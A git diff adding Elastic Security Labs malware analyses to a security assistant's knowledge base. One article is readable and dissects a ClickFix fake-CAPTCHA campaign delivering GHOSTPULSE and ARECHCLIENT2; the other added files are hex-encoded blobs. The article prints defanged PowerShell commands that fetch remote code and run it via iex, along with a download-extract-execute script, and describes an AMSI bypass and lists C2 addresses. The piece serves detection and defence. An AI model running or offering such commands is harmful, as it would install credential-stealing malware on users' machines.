67eeecdb3ecd4a3a32bc5b79da7c1e5f60adf520fcc4c041e1dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a1eb70e85f346301895b562f65eb57231dcc83eb1482ebafb12f159a67fecf89aaee3b32ed875d21e178be231bae7752cdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a602fcc4ebc86bc81a210daab7070e6c73683860126d29d6a60d1050a3ee6e7cfdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9a35dc89a932614fc89885110a0d54814373e26ca9e6d0ba5ae65f10e180a376dcc83eb1482ebafb12f159a67fecf89a9ebb15e00eff33c35510f6738578e77783348810d24a017a9783d922bb2e6ec6008860951cae3324f7475f8e0f84f00e04d0d440a09c03308ba383a135a4dd95f995a3ba38136ec62f1e56509d47f8e4f957b0d23b2e571cf32b75027f2abdb2fb1854ff8bcf40d24cbffa111a36f913dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a821064cd87405fe712cefaf7f3274dd49d579d168368bef099aebe2a0ccf7a2f31295910c9f0eaa83e84a30dbcf06eb579dde418af13c04f87955d699ac5fee701d30c995bd7ca403a2fe7d08fda0af0dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a8e37bd148f41fd0a72135432d6c7bba8f0a4d2901280fe647dc6a08b4b05ca7f1e797adb7403a0473909dcba056710bcdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a2a13ef130874ef4e45fcc4a6c042c366dcc83eb1482ebafb12f159a67fecf89a16b824296e8f06473f82aeac775c7dbc0e6fb6579fe49588dfebbaaab753d75ff3e155c1eff5010609c04778427047a6dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89ad11da25b3a2a7617120342cfb2626e65fc253f4ee9634cd4e58081b319e115793f1b75486e43c806a4e6477a17cb9c14dcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb5264e9041075daf44ec3028dbe5b5814adcc83eb1482ebafb12f159a67fecf89a14c5d1aa34d95f6576258b1e893c795a7b168cd4f19065808261124463f99dd4cce217211f492ee3dc0ca72aae8db9dddcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a075b1d57ed11a4708c5148e2ae3e3e5d552d2ec34b51b0f541dada79528509b77ba749a8d55ed9169cd37155509240c0e8c5cc276ffb7250f133fcd75d031fc7782addcf474df51d9db258001b16df0405b6958bcc1cce4e2e56313deaed471b5833b8bdf1d773bc6883330598f39ed78ed9d930e84d36813aa60e5e087a8466dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b2ce0db39a53d9d06de9b3919def868f2915355c1ce05f3a6fe08461553492c91ea256be9f6e31a377f3b8de75e1c1fa38996d084f65c416226ae132ab8519cccbb9e190ea711fde0f40e9afd6566254b4f6651e01c08dacae99f94399f2c8ce06aad1ccb1dafdb7c412424fe62dfc63895323ceb4e1f83afb10d706853568d4b5dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a8e37bd148f41fd0a72135432d6c7bba85d2311134ce15946801c9b25cd2084206c0d131c5f3da05d13a545b7b316e7c2195fb9e8b06b8042b3e2f4e0b3c6ff93d550087f1a7ac31be76692d6c5c1ae16b7c5fde419cd013ca85d06fad01b24a3dcc83eb1482ebafb12f159a67fecf89a9f684c7b54f93e7c325c348d6eac6d571cec31e9f6fcf0c3ad353e1cbaab82a0dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a70b99f2ac1a0c6947304763912519b71fde655df5a7f5d7ada687b1ef91934c49456c9e996233205eed15a71d114a3f13f823e5c369d42696bb1d34d4978a24712a6998f1e128ce8caee12786820866663bf2c3db35a89a9fad44e4b07faf457dcc83eb1482ebafb12f159a67fecf89a7416a95913b576c1071d91de88b2343d47d2354e0e207d0ac88061d3558a55b0dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9087f27838f289a906a8cf990d8960db0ad5ab49fef80fcf5cfb900445db82a82a8a362d08b1d6dabefa4a965865d06517f53332c2f010854757b0765aa0068463c3dda479cb1855c6c87288667394640a8bc8ea6b27175335a84ab20d60701daaef6c8e66f08d2af72b7288f6fab365171175a23c2ad27ff305ca787257e715cea75fb15c2149ee0f4e6c5e0819b308263f46600eddf357bb567b693a8e3d6856540a0d523a4ef575099fb50fada616f1007a6ff9cde0b9df05870678b34f82561d81c76d59b4d12f2cdcd128fb196a70c33652984946d25980eb953e0495bcc243cc4f3d06a99b2b1db94d0a9ae4ee7542859935b2cd39e17495b01b3ee239fcab391a2331c050d9d1d2113d0386fcc4fd87426fd47d7ce68ee920c3650fd9e6a3255b8dd6903fffd9a44a6cea2fab811cf04558321307a416c0b507acf8fb6fefac13b28590e8beae9c2a20da802d935000ba9425a1215b8c17b93f812a02ce52689f8a528860a2d3cae08a97d6693b574c9709db8a4ccae99044e6413790 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.md new file mode 100644 index 0000000000000..dbce937e4b2bf --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.md @@ -0,0 +1,353 @@ +--- +title: "A Wretch Client: From ClickFix deception to information stealer deployment" +slug: "a-wretch-client" +date: "2025-06-18" +description: "Elastic Security Labs detected a surge in ClickFix campaigns, using GHOSTPULSE to deploy Remote Access Trojans and data-stealing malware." +author: + - slug: salim-bitam +image: "a-wretch-client.png" +category: + - slug: malware-analysis +tags: + - GHOSTPULSE + - ARECHCLIENT2 + - ClickFix +--- + +## Preamble + +Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics. + +Our threat intelligence indicates a substantial surge in activity leveraging [ClickFix](https://krebsonsecurity.com/2024/09/this-windows-powershell-phish-has-scary-potential/) ([technique first observed](https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn)) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the [GHOSTPULSE loader](https://www.elastic.co/security-labs/tricks-and-treats). This led to campaigns targeting a broad audience using malware and infostealers, such as [LUMMA](https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma) and [ARECHCLIENT2](https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat), a family first observed in 2019 but now experiencing a significant surge in popularity. + +This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers. + +## Key takeaways + +* **ClickFix:** Remains a highly effective and prevalent initial access method. +* **GHOSTPULSE:** Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file. +* **ARECHCLIENT2 (SECTOPRAT):** Has seen a considerable increase in malicious activity throughout 2025. + +## The Initial Hook: Deconstructing ClickFix's Social Engineering + +Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise. + +![](/assets/images/a-wretch-client/image1.png) + +![Fake captcha](/assets/images/a-wretch-client/image15.png "Fake captcha") + +At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless "fix" (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process. + +ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting "verification fatigue" – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent "fix it" button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes **ClickFix** an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses. + +Our recent Elastic Security research on **[EDDIESTEALER](https://www.elastic.co/security-labs/eddiestealer)** provides another concrete example of **ClickFix**'s efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape. + +Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers. + +## A ClickFix Campaign's Journey to ARECHCLIENT2 + +The **ClickFix** technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a **ClickFix** lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the **[GHOSTPULSE](https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader)** Loader (also known as **HIJACKLOADER**, **IDATLOADER**). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an **[ARECHCLIENT2](https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat)** (**SECTOPRAT**) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately. + +![Execution flow](/assets/images/a-wretch-client/image16.png "Execution flow") + +We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components. + +![Execution flow in Kibana](/assets/images/a-wretch-client/image6.png "Execution flow in Kibana") + +## Technical analysis of the infection + +The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification. + +We observed two infrastructures (both resolving to `50.57.243[.]90`) `https://clients[.]dealeronlinemarketing[[.]]com/captcha/` and `https://clients[.]contology[.]com/captcha/` that deliver the same initial payload. + +User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research ([2023 and](https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks) [2024](https://www.elastic.co/security-labs/tricks-and-treats)) provided a detailed look into its initial capabilities. + +![Fake captcha hosted by contology[.]com](/assets/images/a-wretch-client/image12.png "Fake captcha hosted by contology[]].com") + +The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard. + +![Obfuscated JavaScript of the captcha page](/assets/images/a-wretch-client/image20.png "Obfuscated JavaScript of the captcha page") + +Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox `Verify you are human.` + +![HTML code of the captcha page](/assets/images/a-wretch-client/image26.png "HTML code of the captcha page") + +A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, `runClickedCheckboxEffects`, retrieves the public IP address of the machine by querying `https://api.ipify[.]org?format=json,` then it sends the IP address to the attacker’s infrastructure, `https://koonenmagaziner[.]click/counter/<IP_address>,` to log the infection. + +![JavaScript of the captcha page](/assets/images/a-wretch-client/image19.png "JavaScript of the captcha page") + +The second function copies a base64-encoded PowerShell command to the clipboard. + +![Command copied to the clipboard by the JavaScript script](/assets/images/a-wretch-client/image11.png "Command copied to the clipboard by the JavaScript script") + +![PowerShell command copied to the clipboard](/assets/images/a-wretch-client/image25.png "PowerShell command copied to the clipboard") + +Which is the following when it is base64 decoded + +```powershell +(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' + -UseBasicParsing).content | iex +``` + +When executed, it fetches the following PowerShell script: + +```powershell +Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile + "$env:TEMP\ComponentStyle.zip"; Expand-Archive -Path + "$env:TEMP/ComponentStyle.zip" -DestinationPath + "$env:TEMP"; & "$env:TEMP\crystall\Crysta_x86.exe" +``` + +The observed infection process for this campaign involves **GHOSTPULSE**'s deployment as follows: After the user executes the PowerShell command copied by **ClickFix**, the initial script fetches and runs additional **commands**. These PowerShell **commands** download a ZIP file (`ComponentStyle.zip`) from a remote location and then extract it into a temporary directory on the victim's system. + +Extracted contents include components for **GHOSTPULSE**, specifically a benign executable (`Crysta_X64.exe`) and a malicious dynamic-link library (`DllXDownloadManager.dll`). This setup utilizes **DLL sideloading**, a technique in which the legitimate executable loads the malicious **DLL**. The file (`Heeschamjet.rc`) is the **IDAT** file that contains the next stage's payloads in an encrypted format + +and the file `Shonomteak.bxi,` which is encrypted and used by the loader to fetch the stage 2 and configuration structure. + +![Content of ComponentStyle.zip](/assets/images/a-wretch-client/image23.png "Content of ComponentStyle.zip") + +## GHOSTPULSE + +### Stage 1 + +**GHOSTPULSE** is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in [Elastic’s 2024 research blog post](https://www.elastic.co/security-labs/tricks-and-treats), and new modules from [Zscaler research](https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics). + +The malware used in this campaign was shipped with an additional encrypted file named `Shonomteak.bxi`. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself. + +![Decryption of Shonomteak.bxi file](/assets/images/a-wretch-client/image5.png "Decryption of Shonomteak.bxi file") + +The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the `LibraryLoadA` function. The library name is stored in the same decrypted file; in our case, it is `vssapi.dll`. + +The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted `Shonomteak.bxi,` and a boolean field `b_detect_process` set to `True` in our case. + +![Structure used in stage 2](/assets/images/a-wretch-client/image14.png "Structure used in stage 2") + +### Stage 2 + +When the boolean field `b_detect_process` is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds. + +![Delays execution by 5 seconds](/assets/images/a-wretch-client/image13.png "Delays execution by 5 seconds") + +In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in `Shonomteak.bxi,` including: + +* Hashes for the DLL names and Windows APIs +* IDAT tag: used to find the start of the encrypted data in the PNG file +* IDAT string: Which is simply “IDAT” +* Hashes of processes to scan for + +![API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded](/assets/images/a-wretch-client/image4.png "API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded") + +### Final thoughts on GHOSTPULSE + +GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples. + +Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our [labs-releases repository](https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse). + +![Payload extraction from the GHOSTPULSE sample](/assets/images/a-wretch-client/image17.png "Payload extraction from the GHOSTPULSE sample") + +## ARECHCLIENT2 + +In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially [identified in November 2019](https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers) and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023. + +The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2. + +The loader goes through 3 steps: + +* Patching AMSI +* Extracting and decrypting the payload +* Loading the CLR, then reflectively loading ARECHCLIENT2 + +![Main entry of the .NET loader](/assets/images/a-wretch-client/image22.png "Main entry of the .NET loader") + +Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the `MessageBoxA` API, for example, when failing to find the `.tls` section, an error message box with the string `"D1"` is displayed. + +![Debugging/error messages through a message box](/assets/images/a-wretch-client/image18.png "Debugging/error messages through a message box") + +The following is a table of all the error messages and their description: + +| Message | Description | +|:-------:|:-----------------------------:| +| F1 | `LoadLibraryExW` hooking failed | +| F2 | AMSI patching failed | +| D1 | Unable to find `.tls` section | +| W2 | Failed to load CLR | + +The malware sets up a hook on the `LoadLibraryExW` API. This hook waits for `amsi.dll` to be loaded, then sets another hook on `AmsiScanBuffer 0`, effectively bypassing AMSI. + +![Hooking LoadLibraryExW](/assets/images/a-wretch-client/image2.png "Hooking LoadLibraryExW") + +After this, the loader fetches the pointer in memory to the `.tls` section by parsing the PE headers. The first `0x40` bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts. + +![Payload decryption routine](/assets/images/a-wretch-client/image7.png "Payload decryption routine") + +Finally, it loads the .NET Common Language Runtime (CLR) in memory with [CLRCreateInstance](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function) Windows API before reflectively loading ARECHCLIENT2. The following is an [example ](https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2)of how it is performed. + +ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on: + +* **Credential and Financial Theft:** ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam. + +![DNSPY view of the StealerSettingConfigParce class](/assets/images/a-wretch-client/image9.png "DNSPY view of the StealerSettingConfigParce class") + +* **System Profiling and Reconnaissance:** ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone). + +![DNSPY view of ScanResult class](/assets/images/a-wretch-client/image3.png "DNSPY view of ScanResult class") + +* **Command Execution:** ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems. + +The **ARECHCLIENT2** malware connects to its C2 `144.172.97[.]2,` which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (`143.110.230[.]167`) IP from a hardcoded pastebin link `https://pastebin[.]com/raw/Wg8DHh2x`. + +![ARECHCLIENT2 configuration from DNSPY](/assets/images/a-wretch-client/image21.png "ARECHCLIENT2 configuration from DNSPY") + +## Infrastructure analysis + +The malicious captcha page was hosted under two domains `clients.dealeronlinemarketing[.]com` and `clients.contology[.]com` under the URI `/captcha` and `/Client` pointing to the following IP address `50.57.243[.]90`. + +![](/assets/images/a-wretch-client/image10.png) + +We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes. + +We assess that the attacker has likely compromised the server `50.57.243[.]90` and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity. + +Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (`143.110.230[.]167` and `144.172.97[.]2`) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956. + +Pivoting on a shared banner hash ([@ValidinLLC](https://x.com/ValidinLLC)’s `HOST-BANNER_0_HASH`, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT" (aka ARECHCLIENT2) as documented in the [maltrail repo](https://github.com/stamparm/maltrail/blob/master/trails/static/malware/sectoprat.txt). + +![ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC](/assets/images/a-wretch-client/image24.png "ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC") + +Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2. + +All these servers have similar configurations: + +* Running Canonical Linux +* SSH on `22` +* Unknown TCP on `443` +* Nginx HTTP on `8080`, and +* HTTP on `9000` (C2 port) + +![ARECHCLIENT2 C2 Server Profile, courtesy @censysio](/assets/images/a-wretch-client/image8.png "ARECHCLIENT2 C2 Server Profile, courtesy @censysio") + +The service on port `9000` has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors. + +ARECHCLIENT2 IOC: +- `HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20` + +This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active: + +| Value | First Seen | Last Seen | +|-----------------|------------|------------| +| `66.63.187.22` | 2025-06-15 | 2025-06-15 | +| `45.94.47.164` | 2025-06-02 | 2025-06-15 | +| `84.200.17.129` | 2025-06-04 | 2025-06-15 | +| `82.117.255.225` | 2025-03-14 | 2025-06-15 | +| `45.77.154.115` | 2025-06-05 | 2025-06-15 | +| `144.172.94.120` | 2025-05-20 | 2025-06-15 | +| `79.124.62.10` | 2025-05-15 | 2025-06-15 | +| `82.117.242.178` | 2025-03-14 | 2025-06-15 | +| `195.82.147.132` | 2025-04-10 | 2025-06-15 | +| `62.60.247.154` | 2025-05-18 | 2025-06-15 | +| `91.199.163.74` | 2025-04-03 | 2025-06-15 | +| `172.86.72.81` | 2025-03-13 | 2025-06-15 | +| `107.189.24.67` | 2025-06-02 | 2025-06-15 | +| `143.110.230.167` | 2025-06-08 | 2025-06-15 | +| `185.156.72.80` | 2025-05-15 | 2025-06-15 | +| `85.158.110.179` | 2025-05-11 | 2025-06-15 | +| `144.172.101.228` | 2025-05-13 | 2025-06-15 | +| `192.124.178.244` | 2025-06-01 | 2025-06-15 | +| `107.189.18.56` | 2025-04-27 | 2025-06-15 | +| `194.87.29.62` | 2025-05-18 | 2025-06-15 | +| `185.156.72.63` | 2025-06-12 | 2025-06-12 | +| `193.149.176.31` | 2025-06-08 | 2025-06-12 | +| `45.141.87.249` | 2025-06-12 | 2025-06-12 | +| `176.126.163.56` | 2025-05-06 | 2025-06-12 | +| `185.156.72.71` | 2025-05-15 | 2025-06-12 | +| `91.184.242.37` | 2025-05-15 | 2025-06-12 | +| `45.141.86.159` | 2025-05-15 | 2025-06-12 | +| `67.220.72.124` | 2025-06-05 | 2025-06-12 | +| `45.118.248.29` | 2025-01-28 | 2025-06-12 | +| `172.105.148.233` | 2025-06-03 | 2025-06-10 | +| `194.26.27.10` | 2025-05-06 | 2025-06-10 | +| `45.141.87.212` | 2025-06-08 | 2025-06-08 | +| `45.141.86.149` | 2025-05-15 | 2025-06-08 | +| `172.235.190.176` | 2025-06-08 | 2025-06-08 | +| `45.141.86.82` | 2024-12-13 | 2025-06-08 | +| `45.141.87.7` | 2025-05-13 | 2025-06-06 | +| `185.125.50.140` | 2025-04-06 | 2025-06-03 | + +## Conclusion + +This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the **GHOSTPULSE** loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident **ARECHCLIENT2** payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines. + +### MITRE ATT&CK + +Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. + +#### Tactics + +Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. + +* [Initial Access](https://attack.mitre.org/tactics/TA0001/) +* [Execution](https://attack.mitre.org/tactics/TA0002/) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) +* [Command and Control](https://attack.mitre.org/tactics/TA0011/) +* [Collection](https://attack.mitre.org/tactics/TA0009/) + +#### Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +* [Phishing](https://attack.mitre.org/techniques/T1566/) + * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002/) [User Execution](https://attack.mitre.org/techniques/T1204/) + * [Malicious Link](https://attack.mitre.org/techniques/T1204/002/) + * [Malicious File](https://attack.mitre.org/techniques/T1204/002/) +* [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/) + * [PowerShell](https://attack.mitre.org/techniques/T1059/001/) + * [Deobfuscation/Decoding](https://attack.mitre.org/techniques/T1140/) +* [DLL Sideloading](https://attack.mitre.org/techniques/T1073/) +* [Reflective Loading](https://attack.mitre.org/techniques/T1620/) +* [User Interaction](https://attack.mitre.org/techniques/T1204/) +* [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/) +* [System Information Discovery](https://attack.mitre.org/techniques/T1082/) +* [Process Discovery](https://attack.mitre.org/techniques/T1057/) +* [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/) + +## Detecting [malware] + +### Detection + +Elastic Defend detects this threat with the following [behavior protection rules](https://github.com/elastic/protections-artifacts/tree/main/behavior): + +* [Suspicious Command Shell Execution via Windows Run](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml) +* [DNS Query to Suspicious Top Level Domain](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml) +* [Library Load of a File Written by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml) +* [Connection to WebService by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml) +* [Potential Browser Information Discovery](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml) + +#### YARA + +* [Windows_Trojan_GhostPulse](https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_GhostPulse.yar) +* [Windows_Trojan_Arechclient2 ](https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_Arechclient2.yar) + +## Observations + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +|------------------------------------------------------------------|-----------|-------------------------|-----------------------------------------------------------------------------| +| `clients.dealeronlinemarketing[.]com` | domain | Captcha subdomain | | +| `clients.contology[.]com` | domain | Captcha subdomain | | +| `koonenmagaziner[.]click` | domain | | | +| `50.57.243[.]90` | ipv4-addr | | `clients.dealeronlinemarketing[.]com` & `clients.contology[.]com` IP address | +| `144.172.97[.]2` | ipv4-addr | | ARECHCLIENT2 C&C server | +| `143.110.230[.]167` | ipv4-addr | | ARECHCLIENT2 C&C server | +| `pastebin[.]com/raw/Wg8DHh2x` | ipv4-addr | | Contains ARECHCLIENT2 C&C server IP | +| `2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a` | SHA-256 | `DivXDownloadManager.dll` | GHOSTPULSE | +| `a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90` | SHA-256 | `Heeschamjiet.rc` | PNG GHOSTPULSE | +| `f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55` | SHA-256 | | DOTNET LOADER | +| `4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9` | SHA-256 | | ARECHCLIENT2 | + +## References + +The following were referenced throughout the above research: + +* [https://x.com/SI_FalconTeam/status/1915790796948643929](https://x.com/SI_FalconTeam/status/1915790796948643929) +* [https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics](https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics) \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.encoded.md new file mode 100644 index 0000000000000..a0fd23278b9c8 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/abyssworker.encoded.md @@ -0,0 +1 @@ +00214d672cb026ad71fb9122c84437956882034679066dbfc83a1b5a96d177c18c95c44ea4b6f69c460abd9a9f960166be805e3372d11a421be37219262a7ac0ce65b34198f267ce05f7061ea8d381c6f25b8bafd83943babc15a5f04134bd026606bc07952f23606323bef257194ed7a32d12c2b1a5011d75d4225c99be1d70df3dc4f3f8ce48c4e7bc628a6e200762caec74cfb12b369d7adaa7f73e29d206e687e132095e20806eafc36736127a3c2537be007fb7faa3021b2854a8b72fad5034e1c3641ed5df5abfcae0a216a10d51fb9dc2bf44ff3ac9a363ce1dfcc9d9873af4d2e8b93a64835404118114cc8977d127c89b0856edecbb80df8c4b7419b612bc8db8e5487c2bd7b1c68a53a8a7eede4f21de26d7fc6a3eb216bb1e0a50ca932c63d3977529cf7ef8d512096935e3531ca52c218f9c92cf1feb32235b982e8d06393e03af64c13b59c0e32b776ee45ebe2ca0d1faeb9faaf941420131baeb76d2206aa8a3b33944af0d50c8fae17733a87f67097348cbe0386c5240f84d92060834984d56187467d6fd2f106fc0aea53b6aea13a74bd732110d18aadb4ef343b97bf5e7bbe3ed8ce384c99bcbcb06f8bfa69b2c9c19e8ec277b518b290bcd2970c3f675245902702b16c5dc65eeced9a5ce4f7e527db186d88b7637cad58c71393ad0498b9cf822d87a751544e6171949bed2df04cd92115d03e2b7d602986b987fe475bb9303f0bf7fa9728e17797cbb6804acdfab717b48209a8c66e92d67b872664ae83d2a2052ff353623be6854ba64243e7052c0bdb8ebc7ed4a237993